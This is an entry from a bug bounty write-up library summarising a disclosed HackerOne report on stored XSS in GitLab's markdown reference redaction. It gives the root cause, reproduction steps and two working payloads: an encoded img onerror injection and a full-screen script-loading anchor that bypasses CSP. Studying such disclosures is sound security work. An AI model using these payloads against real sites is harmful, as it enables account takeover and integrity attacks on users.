# Stored XSS in markdown when redacting references

ReferenceRedactorFilter reuses HTML-encoded data-original attribute as link content, letting an attacker inject stored HTML/XSS via a link to an inaccessible private issue.

- Payout: $5,000
- Severity: high
- Program: GitLab
- Found by: vakzz
- Disclosed: 2020-09-09
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/836649
- Library page: https://bugbountylibrary.com/r/h1%3A836649
- Tags: area:web domain:web impact:ato impact:integrity kind:bounty platform:hackerone sev:high tech:ruby technique:chained technique:source-review vuln:xss

**Target:** GitLab markdown rendering / ReferenceRedactorFilter
**Root cause:** redacted_node_content reads node.attr('data-original') and re-emits it as raw link content; if the original was already HTML-encoded, it gets decoded once and injected as live HTML.
**Steps:**
1. Create a private project and an issue in it with account A.
2. As account B (no access to that project), comment on a public issue with: `link: <a href="https://gitlab.com/wbowling/private-project/-/issues/1" title="title">xss &lt;img onerror=alert(1) src=x></a>`
3. Observe rendered output contains `<img onerror="alert(1)" src="x">` inside the redacted link.
4. To bypass CSP, use payload with `<a data-remote="true" data-method="get" data-type="script" href=/wbowling/wiki/raw/master/test.js class='atwho-view select2-drop-mask pika-select'><img height=10000 width=10000></a>` and click anywhere on page.
**How found:** Noticed the redactor reuses data-original as link content; hypothesized that pre-encoded HTML would be decoded and re-emitted as live markup, then tested with an encoded img tag inside a link to an inaccessible private issue.
**Exploitation:** Attacker posts a comment on a public project linking to their own private issue; the reference is redacted for users without access, and the encoded data-original is decoded into live HTML. CSP is bypassed by injecting a full-screen anchor with data-remote/data-type=script pointing to attacker-controlled wiki raw JS, triggered by a click anywhere on the page.
**Escalation:** CSP bypass via data-remote script anchor with full-screen overlay to capture a click.
**Insight:** When a sanitizer/redactor reuses a stored attribute as output, check whether that attribute is decoded on the way out — pre-encoding payloads in data-* attributes can survive one decode pass and become live HTML.

## Proof of concept (copied exactly from the original report)

**Markdown payload injecting HTML via redacted reference**

```
link: <a href="https://gitlab.com/wbowling/private-project/-/issues/1" title="title">xss &lt;img onerror=alert(1) src=x></a>
```

**CSP bypass payload with data-remote script link**

```
link: <a href="https://gitlab.com/wbowling/private-project/-/issues/1" title="title">csp 
&lt;a 
  data-remote=&quot;true&quot;
  data-method=&quot;get&quot;
  data-type=&quot;script&quot;
  href=/wbowling/wiki/raw/master/test.js
  class='atwho-view select2-drop-mask pika-select'
&gt;
  &lt;img height=10000 width=10000&gt;
&lt;/a&gt;
</a>
```

